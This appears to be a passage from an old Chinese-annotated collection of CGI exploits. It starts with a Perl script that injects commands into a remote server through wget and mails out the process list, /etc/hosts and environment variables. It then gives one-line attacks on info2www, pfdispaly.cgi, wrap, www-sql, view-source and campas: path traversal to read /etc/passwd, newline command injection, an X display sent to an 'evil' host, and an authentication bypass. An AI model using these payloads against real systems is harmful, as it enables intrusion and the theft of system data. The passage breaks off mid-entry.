$URL='http://dtp.kappa.ro/a/test.shtml'; # please _DO_ _modify_ this
$EMAIL='pdoru@pop3.kappa.ro,root'; # please _DO_ _modify_ this
if ($ARGV[0]) { $CMD=$ARGV[0];}else{
$CMD="(ps ax;cd ..;cd ..;cd ..;cd etc;cat hosts;set)\|mail ${EMAIL} -sanothe
re_one";
}$text="${URL}/;IFS=\8;${CMD};echo|";$text =~ s/ /\$\{IFS\}/g;#print "$text\
n";
system({"wget"} "wget", $text, "-O/dev/null");
system({"wget"} "wget", $text, "-O/dev/null");
#system({"lynx"} "lynx", $text); #如果没有wget命令也可以用lynx
#system({"lynx"} "lynx", $text);● 一些版本(1.1)的info2www的漏洞 $ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail jami asswd|)' $ You have new mail. $ ● pfdispaly.cgi lynx -source \
'http://www.victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd'
pfdisplay.cgi还有另外一个漏洞可以执行命令
lynx -dump http://www.victim.com/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'
or
lynx -dump \
http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evi
l:0.0|' ● wrap lynx http://server/cgi-bin/wrap?/../../../../../etc ● www-sql 可以让入侵者读一些受限制的页面如： 在浏览器里输入：http://server/protected/something.html，入侵者就会被要求输入账号和口令，而有www-sql就不必了： http://server/cgi-bin/www-sql/protected/something.html ● view-source lynx http://server/cgi-bin/view-source?../../../../../../../etc/passwd ● campas lynx http://www.victim.com/cgi-bin/campas?%0acat%0a/etc/passwd%0a ● webgais telnet www.victim.com 80
|